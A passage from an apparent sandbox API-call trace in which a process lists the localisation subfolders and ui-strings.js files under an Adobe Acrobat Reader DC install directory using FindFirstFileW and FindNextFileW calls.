ftCreationTime.dwLowDateTime=0xf02e54fa, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf02e54fa, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf02e54fa, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0277.162] FindNextFileW (in: hFindFile=0x3315b30, lpFindFileData=0x2e8dcac | out: lpFindFileData=0x2e8dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf02e54fa, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf02e54fa, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf02e54fa, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x4b0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0277.162] FindNextFileW (in: hFindFile=0x3315b30, lpFindFileData=0x2e8dcac | out: lpFindFileData=0x2e8dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf02e54fa, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf02e54fa, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf02e54fa, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x4b0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0277.162] FindClose (in: hFindFile=0x3315b30 | out: hFindFile=0x3315b30) returned 1 [0277.162] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4290fc0 | out: hHeap=0x670000) returned 1 [0277.162] FindNextFileW (in: hFindFile=0x3315cb0, lpFindFileData=0x2e8df28 | out: lpFindFileData=0x2e8df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf02e54fa, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf02e54fa, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf02e54fa, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sk-sk", cAlternateFileName="")) returned 1 [0277.162] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x4290fc0 [0277.162] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\sk-sk\\*", lpFindFileData=0x2e8dcac | out: lpFindFileData=0x2e8dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf02e54fa, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf02e54fa, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf02e54fa, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x33156f0 [0277.162] FindNextFileW (in: hFindFile=0x33156f0, lpFindFileData=0x2e8dcac | out: lpFindFileData=0x2e8dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf02e54fa, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf02e54fa, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf02e54fa, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0277.162] FindNextFileW (in: hFindFile=0x33156f0, lpFindFileData=0x2e8dcac | out: lpFindFileData=0x2e8dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf02e54fa, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf02e54fa, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf02e54fa, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x490, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0277.162] FindNextFileW (in: hFindFile=0x33156f0, lpFindFileData=0x2e8dcac | out: lpFindFileData=0x2e8dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf02e54fa, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf02e54fa, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf02e54fa, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x490, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0277.163] FindClose (in: hFindFile=0x33156f0 | out: hFindFile=0x33156f0) returned 1 [0277.163] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4290fc0 | out: hHeap=0x670000) returned 1 [0277.163] FindNextFileW (in: hFindFile=0x3315cb0, lpFindFileData=0x2e8df28 | out: lpFindFileData=0x2e8df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf037de3b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf037de3b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf037de3b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sl-si", cAlternateFileName="")) returned 1 [0277.163] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x4290fc0 [0277.163] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\sl-si\\*", lpFindFileData=0x2e8dcac | out: lpFindFileData=0x2e8dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf037de3b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf037de3b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf037de3b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x3315570 [0277.163] FindNextFileW (in: hFindFile=0x3315570, lpFindFileData=0x2e8dcac | out: lpFindFileData=0x2e8dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf037de3b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf037de3b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf037de3b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0277.163] FindNextFileW (in: hFindFile=0x3315570, lpFindFileData=0x2e8dcac | out: lpFindFileData=0x2e8dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf037de3b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf037de3b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf037de3b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x46f, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0277.163] FindNextFileW (in: hFindFile=0x3315570, lpFindFileData=0x2e8dcac | out: lpFindFileData=0x2e8dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf037de3b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf037de3b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf037de3b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x46f, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0277.163] FindClose (in: hFindFile=0x3315570 | out: hFindFile=0x3315570) returned 1 [0277.163] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4290fc0 | out: hHeap=0x670000) returned 1 [0277.163] FindNextFileW (in: hFindFile=0x3315cb0, lpFindFileData=0x2e8df28 | out: lpFindFileData=0x2e8df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf037de3b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf037de3b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf037de3b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sl-sl", cAlternateFileName="")) returned 1 [0277.163] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x4290fc0 [0277.164] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\sl-sl\\*", lpFindFileData=0x2e8dcac | out: lpFindFileData=0x2e8dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf037de3b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf037de3b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf037de3b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x33156b0 [0277.164] FindNextFileW (in: hFindFile=0x33156b0, lpFindFileData=0x2e8dcac | out: lpFindFileData=0x2e8dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf037de3b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf037de3b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf037de3b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0277.164] FindNextFileW (in: hFindFile=0x33156b0, lpFindFileData=0x2e8dcac | out: lpFindFileData=0x2e8dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf037de3b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf037de3b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf037de3b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 0 [0277.164] FindClose (in: hFindFile=0x33156b0 | out: hFindFile=0x33156b0) returned 1 [0277.164] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4290fc0 | out: hHeap=0x670000) returned 1 [0277.164] FindNextFileW (in: hFindFile=0x3315cb0, lpFindFileData=0x2e8df28 | out: lpFindFileData=0x2e8df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf02e54fa, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf02e54fa, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf02e54fa, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sv-se", cAlternateFileName="")) returned 1 [0277.164] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x4290fc0 [0277.164] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\sv-se\\*", lpFindFileData=0x2e8dcac | out: lpFindFileData=0x2e8dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf02e54fa, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf02e54fa, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf02e54fa, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x33157b0 [0277.164] FindNextFileW (in: hFindFile=0x33157b0, lpFindFileData=0x2e8dcac | out: lpFindFileData=0x2e8dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf02e54fa, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf02e54fa, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf02e54fa, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0277.164] FindNextFileW (in: hFindFile=0x33157b0, lpFindFileData=0x2e8dcac | out: lpFindFileData=0x2e8dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf02e54fa, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf02e54fa, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf02e54fa, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x45f, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0277.165] FindNextFileW (in: hFindFile=0x33157b0, lpFindFileData=0x2e8dcac | out: lpFindFileData=0x2e8dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf02e54fa, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf02e54fa, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf02e54fa, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x45f, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0277.165] FindClose (in: hFindFile=0x33157b0 | out: hFindFile=0x33157b0) returned 1 [0277.165] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4290fc0 | out: hHeap=0x670000) returned 1 [0277.165] FindNextFileW (in: hFindFile=0x3315cb0, lpFindFileData=0x2e8df28 | out: lpFindFileData=0x2e8df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf03a407f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf03a407f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf03a407f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="tr-tr", cAlternateFileName="")) returned 1 [0277.165] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x4290fc0 [0277.165] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\tr-tr\\*", lpFindFileData=0x2e8dcac | out: lpFindFileData=0x2e8dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf03a407f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf03a407f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf03a407f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x3315a30 [0277.165] FindNextFileW (in: hFindFile=0x3315a30, lpFindFileData=0x2e8dcac | out: lpFindFileData=0x2e8dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf03a407f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf03a407f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf03a407f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0277.165] FindNextFileW (in: hFindFile=0x3315a30, lpFindFileData=0x2e8dcac | out: lpFindFileData=0x2e8dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf03a407f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf03a407f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf03a407f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x47b, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0277.165] FindNextFileW (in: hFindFile=0x3315a30, lpFindFileData=0x2e8dcac | out: lpFindFileData=0x2e8dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf03a407f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf03a407f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf03a407f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x47b, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0277.165] FindClose (in: hFindFile=0x3315a30 | out: hFindFile=0x3315a30) returned 1 [0277.165] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4290fc0 | out: hHeap=0x670000) returned 1 [0277.165] FindNextFileW (in: hFindFile=0x3315cb0, lpFindFileData=0x2e8df28 | out: lpFindFileData=0x2e8df28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf02bf3c0, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf02bf3c0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf02bf3c0, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x451, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0277.166] FindNextFileW (in: hFindFile=0x3315cb0, lpFindFileData=0x2e8df28 | out: lpFindFileData=0x2e8df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0357be9, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0357be9, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0357be9, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="uk-ua", cAlternateFileName="")) returned 1 [0277.166] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x4290fc0 [0277.166] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\uk-ua\\*", lpFindFileData=0x2e8dcac | out: lpFindFileData=0x2e8dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0357be9, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0357be9, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0357be9, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x3315af0 [0277.166] FindNextFileW (in: hFindFile=0x3315af0, lpFindFileData=0x2e8dcac | out: lpFindFileData=0x2e8dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0357be9, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0357be9, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0357be9, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0277.166] FindNextFileW (in: hFindFile=0x3315af0, lpFindFileData=0x2e8dcac | out: lpFindFileData=0x2e8dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0357be9, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0357be9, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0357be9, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x4c7, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0277.166] FindNextFileW (in: hFindFile=0x3315af0, lpFindFileData=0x2e8dcac | out: lpFindFileData=0x2e8dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0357be9, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0357be9, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0357be9, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x4c7, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0277.166] FindClose (in: hFindFile=0x3315af0 | out: hFindFile=0x3315af0) returned 1 [0277.166] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4290fc0 | out: hHeap=0x670000) returned 1 [0277.166] FindNextFileW (in: hFindFile=0x3315cb0, lpFindFileData=0x2e8df28 | out: lpFindFileData=0x2e8df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf037de3b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf037de3b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf037de3b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-cn", cAlternateFileName="")) returned 1 [0277.166] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x4290fc0 [0277.167] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\zh-cn\\*", lpFindFileData=0x2e8dcac | out: lpFindFileData=0x2e8dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf037de3b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf037de3b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf037de3b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x3315a30 [0277.167] FindNextFileW (in: hFindFile=0x3315a30, lpFindFileData=0x2e8dcac | out: lpFindFileData=0x2e8dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf037de3b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf037de3b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf037de3b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0277.167] FindNextFileW (in: hFindFile=0x3315a30, lpFindFileData=0x2e8dcac | out: lpFindFileData=0x2e8dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf037de3b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf037de3b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf037de3b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x46e, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0277.167] FindNextFileW (in: hFindFile=0x3315a30, lpFindFileData=0x2e8dcac | out: lpFindFileData=0x2e8dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf037de3b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf037de3b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf037de3b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x46e, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0277.167] FindClose (in: hFindFile=0x3315a30 | out: hFindFile=0x3315a30) returned 1 [0277.167] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4290fc0 | out: hHeap=0x670000) returned 1 [0277.167] FindNextFileW (in: hFindFile=0x3315cb0, lpFindFileData=0x2e8df28 | out: lpFindFileData=0x2e8df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf02e54fa, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf02e54fa, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0357be9, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-tw", cAlternateFileName="")) returned 1 [0277.167] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x4290fc0 [0277.167] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\zh-tw\\*", lpFindFileData=0x2e8dcac | out: lpFindFileData=0x2e8dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf02e54fa, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf02e54fa, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0357be9, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x33158b0 [0277.167] FindNextFileW (in: hFindFile=0x33158b0, lpFindFileData=0x2e8dcac | out: lpFindFileData=0x2e8dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf02e54fa, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf02e54fa, 